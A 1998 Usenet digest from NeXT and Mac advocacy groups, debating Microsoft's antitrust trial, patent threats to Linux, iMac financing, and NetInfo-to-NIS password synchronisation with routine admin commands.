References: <36382E60.2278743@astroinfo.org> <d3ww5ju0og.fsf@valhall.cern.ch>
<71a8rv$152@news.jhu.edu> <d367cxqejq.fsf@valhall.cern.ch>
<71nf47$cj1@news.jhu.edu> <d3d871m7ll.fsf@valhall.cern.ch>
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Cc: Jes.Sorensen@cern.ch
Jes Sorensen may or may not have said:
[snip]
-> I want a simple and efficient GUI, the one in NEXTSTEP prevents me
-> from working efficiently and I hate that. IMHO anything that requires
-> a mouse is broken.
That's a pretty rare opinion these days, Jes.
That being the case though, I suggest that you learn to use emacs, and forget
about using *any* GUI-based software for the rest of your career.
-jcr
--
What the Bard *should* have said: "All the World's a Stage, and
all the Men and Women rather poorly rehearsed."
From: John Rudd <jrudd@cygnus.com>
Newsgroups: misc.int-property,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Fri, 06 Nov 1998 09:59:01 -0800
Organization: Cygnus Solutions
Message-ID: <364338E5.2C79FBBF@cygnus.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <FIiROLCWddLd-pn2-br4O7mfXwBFR@localhost>
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taiQ wrote:
>
> On Fri, 6 Nov 1998 03:39:26, John Rudd <jrudd@cygnus.com> thought
> aloud:
>
> [<scissors>]
> > Lets explore the issue a little further..
> >
> > lets say MS finds a patent issue to cause commercial distributors (redhat,
> > caldera, even walnut creek) to cease their linux business.
>
> Scary thought... couldn't they just hire a pack of microshills to work
> on different Linux (core) projects intentionally planting MS-owned
> code snippets...?
>
> Perhaps what we need is an official and "compulsory" statement from
> every (core or major project) contributor that the work they're
> submitting doesn't _intentionally_ infringe any existing intellectual
> property rights or patents. With such clause in place the courts would
> likely take a lenient attitude towards any potential MS infringement
> claims; e.g. in form of a grace period during which the disputed code
> can be circumvented without further disruptions to distribution of
> Linux.
>
> Btw, I'd like to know what kind of an offer Microsoft made to Alan
> Cox... ;-)
>
A good idea no matter whether MS starts the attacks or not. It is simply
good business sense (as well as general good behavior) to have a solid
inventory of where your code came from. It may be ok for the free
distributions to not keep track of who submits what, but the commercial
distributions should a) find out where the code they've got came from as
best they can, b) only bring new code in when it can be tracked to a
particular individual (who vouches for their code contribution).
To an extent, many free software projects already do this with change logs
and such. If you can track a particular change back to a particular
contributor, and they can be found to have gotten their stuff direct from
MS for nefarious purposes 1) it pretty much negates any claim MS can make
because they effectively donated the code even though that wasn't their
intention, 2) might open them up for class action suit by the Linux
community and/or the commercial vendor in question depending on how exactly
it was done. If you can't prove they got it from MS, you can at least dump
liability on them (ie: YOU (joe random hacker) shouldn't contribute code to
Linux (commercial or free) UNLESS you're confident it's not infringing on
some intellectual property, because later on down the road some company may
come knocking on your door because you've gotten them sued over it).
That may mean the commercial linux distributor will have to stop shipping
that module until it can be re-written (or changed to a non-open source
licensed module).. but that's better than having to pay damages or
something.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
-----======Intel: Putting the backward in backward compatible======-----
Kein Mitleid Fu:r MicroSoft (no mercy for microsoft) -- www.kmfms.com
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-br4O7mfXwBFR@localhost>
Newsgroups: misc.int-property,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com>
MIME-Version: 1.0
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Content-Transfer-Encoding: quoted-printable
Date: 6 Nov 1998 17:16:42 GMT
Organization: IBM.NET
On Fri, 6 Nov 1998 03:39:26, John Rudd <jrudd@cygnus.com> thought
aloud:
[<scissors>]
> Lets explore the issue a little further..
>
> lets say MS finds a patent issue to cause commercial distributors (redhat,
> caldera, even walnut creek) to cease their linux business.
Scary thought... couldn't they just hire a pack of microshills to work
on different Linux (core) projects intentionally planting MS-owned
code snippets...?
Perhaps what we need is an official and "compulsory" statement from
every (core or major project) contributor that the work they're
submitting doesn't _intentionally_ infringe any existing intellectual
property rights or patents. With such clause in place the courts would
likely take a lenient attitude towards any potential MS infringement
claims; e.g. in form of a grace period during which the disputed code
can be circumvented without further disruptions to distribution of
Linux.
Btw, I'd like to know what kind of an offer Microsoft made to Alan
Cox... ;-)
Rgds,
--
taiQ
[this space is intentionally blank]
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
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References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com>
<71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com>
<71m90v$gsa@news1.panix.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com>
<71o4se$lsc$1@nnrp1.dejanews.com> <A5N%1.13242$yb5.11558948@news.rdc1.sdca.home.com>
<71qjm4$2ko$1@nnrp1.dejanews.com> <00702.13573$yb5.12364299@news.rdc1.sdca.home.com>
<71t4lv$d94$1@nnrp1.dejanews.com> <dcr02.13812$yb5.12921880@news.rdc1.sdca.home.com>
<71vcuk$din$1@nnrp1.dejanews.com>
Message-ID: <9fI02.13927$yb5.13282084@news.rdc1.sdca.home.com>
Date: Fri, 06 Nov 1998 19:38:45 GMT
NNTP-Posting-Date: Fri, 06 Nov 1998 11:38:45 PDT
Organization: @Home Network
In <71vcuk$din$1@nnrp1.dejanews.com> "Charles Swiger" wrote:
> I want
> to see specific, publicly available references substantiating this claim.
>
>
This is a non-public working group encompassing DOE, the banking system and
it's electronic infrastructure. Specific non-mention to the fact that MS
technologies were integrated into decision paths does not preclude its
existence. Perhaps, searching on MS and electonic payments will provide
some clue.
> I did not see even _one_ single example to indicate they had made
> implementation decisions restricting them to Microsoft technologies.
>
>
I was _wrong_ if a prior post conveyed any decisions "restricted"
implementation to "only" MS technologies. This is a large industry free to
implement as they choose. Considerable investment in MS technologies
in-place and planned for deployment weighed significantly in decision paths.
The FSTC group's task was to craft an electronic banking system that can
work from the largest institution to the smallest.
The BIPS project, you mentioned, should run on off-the-shelf solutions,
integrate with existing investment in backoffice systems and MS software.
BIPS pilot project was based upon just this scenario. Banks can even choose
MS electronic payments processing. Or NOT... which is an option for larger
institutions who can roll their own MCCA and direct SWIFT connection.
From: ckoller@worldnet.att.net (Craig Koller)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 6 Nov 1998 17:28:48 GMT
Organization: MediActive
Message-ID: <ckoller-ya02408000R0611980931220001@netnews.worldnet.att.net>
References: <364295A3.ABE8C927@earthlink.net> <F20BwF.Ix1@T-FCN.Net>
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In article <F20BwF.Ix1@T-FCN.Net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <364295A3.ABE8C927@earthlink.net> Robert Fovell wrote:
> > I'm not a lawyer [nor do I want to be one], but I'm surprised Avie's
> > testimony
> > about a meeting which he did *not* attend was admitted. Isn't that
> > hearsay?
>
> Yes, but that doesn't mean it's not admissable. I'm not sure of the
> specifics, but under certain conditions hearsay is still admissable
> evidence. In this particular case it was backed up with several other
> times that similar deals were proposed (I believe two where he was
> personally there). Effectively the only question is the exact words that
> were spoken, the general intent seems well established.
>
Given the limited number of witnesses allowable in this trial, I wonder if
that makes it that much more allowable. I mean, couldn't Peter Hoddie just
come in and confirm what he told Avie?
From: ckoller@worldnet.att.net (Craig Koller)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 6 Nov 1998 17:30:46 GMT
Organization: MediActive
Message-ID: <ckoller-ya02408000R0611980933200001@netnews.worldnet.att.net>
References: <364295A3.ABE8C927@earthlink.net> <jpolaski-0611981014460001@d149-220.ce.mediaone.net>
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In article <jpolaski-0611981014460001@d149-220.ce.mediaone.net>,
jpolaski@NOwwa.com (Jim Polaski) wrote:
> Coinsider that M$ only brought out windows, when it did, due largely to
> the then new Mac OS/GUI. They did hear footsteps. Lucky for them, Apple
> blew it under Scully and the rest is history. But if their were no Mac OS
> to push the envelope(I can hear nate, tom and others argueing this
> one...), I would more than bet that Win98 would have nowhere near the
> features and look and feel that it does...thank Apple for that and the
> wintellians should be glad M$ copied Apple. Otherwise you( or should I say
> most) might still be stuck with DOS or even CPM.
However, without Wintel, we'd probably still be paying $10K for the
equivalent of a Quadra 650.
Fair is fair...
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: Fri, 06 Nov 1998 14:09:22 -0600
Organization: Ericsson North America Inc.
Message-ID: <36435772.814C87DA@ericsson.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com> <71o4se$lsc$1@nnrp1.dejanews.com> <A5N%1.13242$yb5.11558948@news.rdc1.sdca.home.com> <71qjm4$2ko$1@nnrp1.dejanews.com> <3640DCAA.9E8FC69C@ericsson.com> <71r4q3$phq$1@nnrp1.dejanews.com> <3641D1BB.87B4A728@ericsson.com> <71tc5f$nfl$1@nnrp1.dejanews.com>
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Charles Swiger wrote:
[cut]
> I could go into that whole notion of repeatable, refutable, and testable
> evidence, but we all know where that would go....
[smirk]
> > you should have evened the playing field first...if you had
> > integrity, that is.
>
> I have integrity. I'd be offended by a comment like that from someone who
> knew me and I respected. You don't qualify.
Why should you despise me, Chuck? Especially when I hold you in such
high esteem. It seems a shame.
> My question was not offensive. Some of the implications of my question may or
> may not be offensive, but whatever. Rex didn't seem to take it as a personal
> attack, so why should you?
What does Rex's reaction have to do with it? He's been phlegmatic in the
face of rather numerous questions of that sort from you. I don't take
offense on Rex's behalf, I just take offense at your question and the
characteristic attitude it represents.
> (A rhetorical question, of course-- you'd probably argue with me if I claimed
> the sun is going to rise in the east tomorrow morning.)
Chuck, if you were as disgusted as you pretend to be, you wouldn't spend
so much effort on self-vindication. I don't know what the above means or
what makes it relevant, but it has the familiar ring of your verbal
thrashing.
> > What surprises me is what you took offense at:
[...]
> > What in the world does this have to do with your question?
>
> I wrote that; why would I take offense at it?
You're trying to be funny?
> As for your question, I don't attempt to argue from a position of authority,
> because my arguments can stand or fall on their own merits. I don't need to
> bolster them with props.
Well, good. So why can't Rex's arguments stand or fall on their own
merits?
> > I don't care what you *didn't* claim; that you didn't claim *anything* is
> > the whole problem.
>
> Really? Do you believe that arguments should be judged on their merit of the
> person stating them, rather than on their objective merits alone?
Not necessarily; I just thought you should be consistent...
[resume, cut]
MJP
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: ISSCC 1999
Date: 6 Nov 1998 19:46:53 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <71vjnd$ut@newsb.netnews.att.com>
Originator: gupta@tlctest
According to EETimes, at the IEEE International Solid-State
Circuits Conference, SF, February 1999 :
"IBM will describe PowerPC 603 and 750 processor retargeted
directly from bulk CMOS to an implanted-oxygen-layer SOI
process. The company will report performance gains of up to
30 percent from the process change alone, without any
re-optimization of circuits."
***
Sounds interesting. Does it mean that the 400 MHz 750 design
will be able to run at 520 MHz on SOI without redoing anything ?
-arun gupta
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: iMac for $29
Newsgroups: comp.sys.next.advocacy
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy>
Message-ID: <36435965.0@news.depaul.edu>
Date: 6 Nov 98 20:17:41 GMT
Todd Heberlein (todd at NetSQ dot com) <todd@dev.null> wrote:
> Rex Riley <rr6013@yahoo.com> wrote
> > Apple financing is brilliant... It shouldn't be overlooked in
> > the noise of MS and MacOSX. Apple folks are really focused on
> > getting the job done, right. Impressive...
> > -r
> $29/month for 67 months!! That is a long time, especially in
> computer/internet years. That little iMac is going to look pretty slow
> when you are still paying $29/month in 2004.
> I hope Apple implements an upgrade path for these folks.
It'll end up costing a whole lot more than $1299, too. I wonder
how much of the difference Apple gets to keep.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: iMac for $29
Date: Fri, 6 Nov 1998 15:39:10 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <71vmqv$8be@shelob.afs.com>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu>
Jonathan W Hendry wrote in message <36435965.0@news.depaul.edu>...
>Todd Heberlein (todd at NetSQ dot com) <todd@dev.null> wrote:
>> $29/month for 67 months!! That is a long time, especially in
>> computer/internet years. That little iMac is going to look pretty slow
>> when you are still paying $29/month in 2004.
>
>It'll end up costing a whole lot more than $1299, too. I wonder
>how much of the difference Apple gets to keep.
It depends how they do the financing. They're charging an imputed interest
rate of 14.9%. Assuming they offer the financing directly and then wholesale
the loans, they should be making a spread of at least 6 percentage points of
each sale (not allowing for defaults and repossessions).
As to five-year-old computers, I'm still using several 25mhz NeXTstations
quite productively, thank you. One of them gatewayed this message to you.
AFAIK, many many people are still productively using five-year-old Macs. In
fact, one of Apple's problems has been that Mac owners don't turn over their
machines as fast as PC owners.
Greg
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Dilemma
Date: Fri, 06 Nov 1998 17:51:16 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71vcuk$din$1@nnrp1.dejanews.com>
References: <71aovh$hkc@newsb.netnews.att.com> <IH9_1.12069$yb5.8700168@news.rdc1.sdca.home.com> <71ikln$94o@news1.panix.com> <S8u%1.13045$yb5.11042283@news.rdc1.sdca.home.com> <71m90v$gsa@news1.panix.com> <P5H%1.13165$yb5.11439671@news.rdc1.sdca.home.com> <71o4se$lsc$1@nnrp1.dejanews.com> <A5N%1.13242$yb5.11558948@news.rdc1.sdca.home.com> <71qjm4$2ko$1@nnrp1.dejanews.com> <00702.13573$yb5.12364299@news.rdc1.sdca.home.com> <71t4lv$d94$1@nnrp1.dejanews.com> <dcr02.13812$yb5.12921880@news.rdc1.sdca.home.com>
In article <dcr02.13812$yb5.12921880@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
> In <71t4lv$d94$1@nnrp1.dejanews.com> "Charles Swiger" wrote:
[ ... ]
> [snip webserver observations]
>
>> 11 of the 13 aren't using Microsoft for their web server. Fact is, most
>> of these financial institutions are running Netscape over Solaris.
>>
>> Care to explain this contradiction between your claims and reproducable
>> facts?
>
> casual facts are not absolute...
In the strictest usage of the term, facts are absolute, otherwise they aren't
facts. What is true is that a specific fact says what it says, and no more--
but it's normal to generalize beyond the facts and derive conclusions, and the
validity of that is far more open to question.
> this virtual organisation is building eCommerce backoffice check systems
> around MS technologies. There are no system constraints wrt webhosting.
I just looked over the BIPS project and eCheck. I see implementation specs
like: "echeck deposit server" and "Sun", "Integration of echeck deposit server
with existing back office system" and "Sun", and so forth.
I see architecture descriptions which refer to very general technology
requirements like "a digital certificate, Internet access, email connectivity,
web browsers supporting secure communications, etc".
I looked over descriptions of things like "Mellon Bank Prototype", or
"Citibank Prototype", or "Bank Independent Market Trial Package" or "Payee
Package for Treasury Trial".
I did not see even _one_ single example to indicate they had made
implementation decisions restricting them to Microsoft technologies. I want
to see specific, publicly available references substantiating this claim.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Steve Watt <steve@watt.com>
Organization: USENET spam abatement
Sender: info@vbssmmae.fun
Date: 6 Nov 98 18:04:42 GMT
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From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: iMac for $29
MIME-Version: 1.0
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References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy>
Message-ID: <IkJ02.13934$yb5.13282084@news.rdc1.sdca.home.com>
Date: Fri, 06 Nov 1998 20:52:56 GMT
NNTP-Posting-Date: Fri, 06 Nov 1998 12:52:56 PDT
Organization: @Home Network
In <01be09b9$ccdf2b50$06387880@chewy> "Todd Heberlein (todd at NetSQ dot
com)" wrote:
> Rex Riley <rr6013@yahoo.com> wrote
> > Apple financing is brilliant... It shouldn't be overlooked in
> > the noise of MS and MacOSX. Apple folks are really focused on
> > getting the job done, right. Impressive...
> > -r
>
> $29/month for 67 months!! That is a long time, especially in
> computer/internet years. That little iMac is going to look pretty slow
> when you are still paying $29/month in 2004.
>
>
Oh, please... us folks who are Mhz watchers just look at old machines as
useless. The original Mac 128 suited my tasks for 6 years. The
first-timers should find the iMac more than useful with a G3 and network
connection for that period of time. IMHO, I still think it is breirilliant
to get the iMac in to peoples hands who otherwise would not have an
affordable chance.
-r
From: Lemmy <lemmy@tone.ca>
Newsgroups: comp.sys.next.advocacy
Subject: Re: iMac for $29
Date: Fri, 06 Nov 1998 16:14:42 -0500
Organization: Styx DTP
Sender: monner@dial04p21.ottawa.storm.ca
Message-ID: <364366BF.44BC800A@tone.ca>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com>
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Greg Anderson said:
>>It depends how they do the financing. They're charging an imputed
interest
rate of 14.9%. Assuming they offer the financing directly and then
wholesale
the loans, they should be making a spread of at least 6 percentage
points of
each sale (not allowing for defaults and repossessions).>>
That's all well and good Greg but while your doing these calculations
and postings, your not getting the OS/X version of PasteUp out, which
I've been waiting for for months and which you promised for the end of
Oct. Get with it!!!
Michael Monner
From: Mike Paquette <mpaque@ncal.verio.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 06 Nov 1998 11:25:32 -0800
Organization: Electronics Service Unit No. 16
Message-ID: <36434D2B.9B4F3082@ncal.verio.com>
References: <364295A3.ABE8C927@earthlink.net>
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Robert Fovell wrote:
> I'm not a lawyer [nor do I want to be one], but I'm surprised Avie's testimony
> about a meeting which he did *not* attend was admitted. Isn't that hearsay?
This is a civil case, not a criminal case, so under United States law,
different standards of evidence apply. Also, both sides agreed to limit the
number of witnesses. If the judge needs to hear from witnesses present
in the
meeting who may have heard the alleged remark, they can be easily produced.
Mike Paquette
From: John Rudd <jrudd@cygnus.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Date: Fri, 06 Nov 1998 10:05:39 -0800
Organization: Cygnus Solutions
Message-ID: <36433A73.8FF7D742@cygnus.com>
References: <71l58n$oh5@newsb.netnews.att.com> <ckoller-0211982206560001@127.san-francisco-05.ca.dial-access.att.net>
<71pl5d$cec@papoose.quick.com> <3640795E.CF924665@ericsson.com>
<71qa29$k42@papoose.quick.com> <3640DBD9.17D3332F@ericsson.com>
<71r6a5$r41$1@nnrp1.dejanews.com> <3641D68F.25527651@ericsson.com>
<71t6up$gjr$1@nnrp1.dejanews.com> <36422E5A.3E7CE996@ericsson.com> <71ucd2$rck$1@news.idiom.com>
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"John C. Randolph" wrote:
>
> Michael Peck may or may not have said:
> [snip]
> -> > Sun explicitly
> -> > designed NIS+ to be backwards compatible and to work with NIS domains
> without
> -> > modification. With NetInfo, NeXT provided tools to extract info from
> NetInfo
> -> > into the common format that could be used with either flatfile or NIS
> -> > systems.
> ->
> -> Is this a dynamic process? Or is it a conversion/migration tool? Can I
> -> run a NetInfo/NIS gateway with standard tools?
>
> Well, do you know how to put:
>
> nidump passwd . > /etc/passwd
>
> into a cron job?
>
> How about
>
> ypcat passwd | niload passwd .
>
> This also works about the same way for:
>
> aliases bootptab bootparams exports fstab mountmaps group hosts networks
> passwd printcap protocols rpc services
>
> That's about how complicated it is to keep Netinfo sync'd with flat files or
> YP.
>
With one small problem..
If you use "ypcat passwd | niload passwd ." and the user changes their
password on the NeXT box (via NetInfo), their password will be clobbered.
Conversly, if you use "nidump passwd . > /etc/passwd", and they change
their password via the flatfiles, again it gets clobbered by Netinfo.
Synchronization is more than exchange of data. Password synchronization
also requires some sort of transaction logging (how old is this particular
password? if passwords in two different databases differ, which is
considered more correct?) or restrictions (you can only change your
password in NetInfo, or only in NIS, etc).
The latter is pretty trivial ... rdist based mechanisms already have to do
that (you must change your password on the host that is the source of the
passwd rdsit). The latter is a lot more trickey, ESP on systems without
shadow/password-aging information (like NetInfo) ... though it's also more
flexible and correct if you manage to impliment it.
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
-----======Intel: Putting the backward in backward compatible======-----
Kein Mitleid Fu:r MicroSoft (no mercy for microsoft) -- www.kmfms.com
From: allahsiz@home.com
Newsgroups: comp.os.linux.advocacy,misc.int-property,comp.sys.next.advocacy
Subject: Re: YIKES! "The effect of patents and copyright in combatting Linux...."
Date: Fri, 06 Nov 1998 21:19:36 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71vp57$oge$1@nnrp1.dejanews.com>
References: <DD6CE4BCBE7DD018.BF7AE60A8BACC55A.E139FC59512EEA81@library-proxy.airnews.net> <36425AFD.D0D8EC3D@solarsystems.com> <36426F6E.2AED1A73@cygnus.com> <71uag8$f1c$1@52-a-usw.rb1.blv.nwnexus.net>
One important point to consider is that, the contributors to Linux
and BSD have the prior art and patents on their side. These are the people
that invented almost everything MS OSs contain. If Microsoft sues, and
loses, then all they will do is advertise Linux. If they win, then they lose
since that makes them using copyrighted/patented tchnology from others.
I do not think MS lawyers are that dumb, but watching them in last 12 months,
I am beginning to wonder. Actually, I have a theory there. I think MS lawyers
know that they are losing, however, they want to bilk every dollar they can
out of Bill G. It is only a theory, but that is what my observations tell me.
Sinan
-----------== Posted via Deja News, The Discussion Network ==----------
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Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
References: <364295A3.ABE8C927@earthlink.net> <36431F72.69E04A89@NOSPAMworldnet.att.net>
From: Robert Nicholson <steffi@shell8.ba.best.com>
Date: 06 Nov 1998 14:09:50 -0800
Message-ID: <yl3u30ch3rl.fsf@shell8.ba.best.com>
True but what's going to cause MS's market share erode even if they lose
this case? The standard still exists their influence still remains.
DC <dhba701@NOSPAMworldnet.att.net> writes:
> After reading more about the testimony this morning, I'd have to agree that this
> is very damning testimony. A lot more so than Jim Barksdale's testimony. I don't
> see MS working their way out of this anymore.
> -DC
>
> Robert Fovell wrote:
>
> > http://www.newsbytes.com/pubNews/120947.html
> >
> > The anticipated "knife the baby" testimony has finally appeared. IMHO, this
> > is far more damning stuff than the "MS deliberately gummed up QuickTime"
> > testimony that started off his protracted 15 minutes of fame. For one thing,
> > it is provable --- but see below.
> >
> > I'm not a lawyer [nor do I want to be one], but I'm surprised Avie's testimony
> > about a meeting which he did *not* attend was admitted. Isn't that hearsay?
> > [1]. Of course, my knowledge of the law owes as much to Perry Mason and
> > Grisham novels as it does to academically valid sources, so... say no more ;-)
> >
> > I may have missed it, but I was surprised no one has mentioned the recent
> > development at MS-owned WebTV. Seems they're dropping Java support now... but
> > hedge this by saying they may support MS' J++ in the future. Something like
> > that. It could be interpreted in several different ways...
> >
> > [1] Not to be confused with "heresy", which was inadvertently defined in CSMA
> > recently as daring to say things deleterious to Big Brother Bill ;-)
> >
> > --
> > Robert Fovell / UCLA Atmospheric Sciences / Los Angeles, CA
> >
> > http://uniblab.atmos.ucla.edu/~fovell [science page]
> > http://home.earthlink.net/~rfovell [PC parody page]
> >
> > "That's not what a Mac does. I want Mac on the PC.
> > I want Mac on the PC." -- Bill Gates
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
References: <364295A3.ABE8C927@earthlink.net>
From: Robert Nicholson <steffi@shell8.ba.best.com>
Date: 06 Nov 1998 14:08:34 -0800
Message-ID: <yl3ww58h3tp.fsf@shell8.ba.best.com>
Well Re: Web TV ... Their customers (who if I was one would have returned
a smashed console) right on the steps of Redmond way want Real Audio/Video
and Java support and WebTV is saying they aren't going to support it.
Microsoft is constantly saying that they listen to customers. Bollocks!
.. Alas, my attention has been mostly focused on Halloween II,III today
though.
Now I see that MS holds 9.4 percent of Avid. Is that interesting.
From: Jediofmacs@MANGOaol.com (tdean)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: Fri, 06 Nov 1998 17:35:13 -0500
Organization: Lightlink Internet
Message-ID: <Jediofmacs-0611981735130001@usr12.lightlink.com>
References: <364295A3.ABE8C927@earthlink.net> <yl3ww58h3tp.fsf@shell8.ba.best.com>
In article <yl3ww58h3tp.fsf@shell8.ba.best.com>, Robert Nicholson
<steffi@shell8.ba.best.com> wrote:
> Well Re: Web TV ... Their customers (who if I was one would have returned
> a smashed console) right on the steps of Redmond way want Real Audio/Video
> and Java support and WebTV is saying they aren't going to support it.
>
> Microsoft is constantly saying that they listen to customers. Bollocks!
>
> .. Alas, my attention has been mostly focused on Halloween II,III today
> though.
>
> Now I see that MS holds 9.4 percent of Avid. Is that interesting.
Microsoft does listen to customers! However, they don't do anything after
that, such as doing what the customers said.
tdean
--
Remove "MANGO" from email adress to contact me
From: "Greg Anderson" <greg@afs.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: iMac for $29
Date: Fri, 6 Nov 1998 17:33:57 -0500
Organization: Anderson Financial Systems Inc.
Message-ID: <71vti6$96p@shelob.afs.com>
References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy> <36435965.0@news.depaul.edu> <71vmqv$8be@shelob.afs.com> <364366BF.44BC800A@tone.ca>
Lemmy wrote in message <364366BF.44BC800A@tone.ca>...
>That's all well and good Greg but while your doing these calculations
>and postings, your not getting the OS/X version of PasteUp out, which
>I've been waiting for for months and which you promised for the end of
>Oct. Get with it!!!
"And what operating system would you care to run it on?" he responded
ironically.
Greg
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: iMac for $29
MIME-Version: 1.0
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References: <azF02.13909$yb5.13282084@news.rdc1.sdca.home.com> <01be09b9$ccdf2b50$06387880@chewy>
<36435965.0@news.depaul.edu>
Message-ID: <SnJ02.13935$yb5.13282084@news.rdc1.sdca.home.com>
Date: Fri, 06 Nov 1998 20:56:18 GMT
NNTP-Posting-Date: Fri, 06 Nov 1998 12:56:18 PDT
Organization: @Home Network
In <36435965.0@news.depaul.edu> Jonathan W Hendry wrote:
> Todd Heberlein (todd at NetSQ dot com) <todd@dev.null> wrote:
> > Rex Riley <rr6013@yahoo.com> wrote
> > > Apple financing is brilliant... It shouldn't be overlooked in
> > > the noise of MS and MacOSX. Apple folks are really focused on
> > > getting the job done, right. Impressive...
> > > -r
>
> > $29/month for 67 months!! That is a long time, especially in
> > computer/internet years. That little iMac is going to look pretty slow
> > when you are still paying $29/month in 2004.
>
> > I hope Apple implements an upgrade path for these folks.
>
> It'll end up costing a whole lot more than $1299, too. I wonder
> how much of the difference Apple gets to keep.
>
That's academic for those who need to get their kid a computer but can't lop
off $1300 to get the machine. $30bucks is a good deal for them and its good
for Apple. Anyone who has ever contemplated the enormity of the task of
creating a retail financing plan will appreciate the accomplishment.
Kudos Apple.
-r
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft and open source
Date: Fri, 06 Nov 1998 22:43:01 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <71vu1m$srd$1@nnrp1.dejanews.com>
References: <71l58n$oh5@newsb.netnews.att.com> <ckoller-0211982206560001@127.san-francisco-05.ca.dial-access.att.net> <71pl5d$cec@papoose.quick.com> <3640795E.CF924665@ericsson.com> <71qa29$k42@papoose.quick.com> <3640DBD9.17D3332F@ericsson.com> <71r6a5$r41$1@nnrp1.dejanews.com> <3641D68F.25527651@ericsson.com> <71t6up$gjr$1@nnrp1.dejanews.com> <36422E5A.3E7CE996@ericsson.com> <71ucd2$rck$1@news.idiom.com> <36433A73.8FF7D742@cygnus.com>
In article <36433A73.8FF7D742@cygnus.com>,
John Rudd <jrudd@cygnus.com> wrote:
> "John C. Randolph" wrote:
[ ... ]
>> That's about how complicated it is to keep Netinfo sync'd with flat files or
>> YP.
>
> With one small problem..
>
> If you use "ypcat passwd | niload passwd ." and the user changes their
> password on the NeXT box (via NetInfo), their password will be clobbered.
This has nothing to do with NetInfo per se-- it's nothing more than the
traditional distinction between yppasswd vs. passwd (except that NeXT's passwd
can talk to NetInfo instead of a flat file).
> Conversly, if you use "nidump passwd . > /etc/passwd", and they change
> their password via the flatfiles, again it gets clobbered by Netinfo.
This makes even less sense. /etc/passwd is not changeable by users on any
Unix system (unless system security is completely disabled, in which case
everyone might as well be logging in as root).
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
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From: a1050pi@yahoo.com (Sheldon Gartner)
Newsgroups: misc.int-property,comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: M$--> Something Wicked This Way Come
Date: Fri, 06 Nov 1998 23:10:48 GMT
Organization: Airnews.net! at Internet America
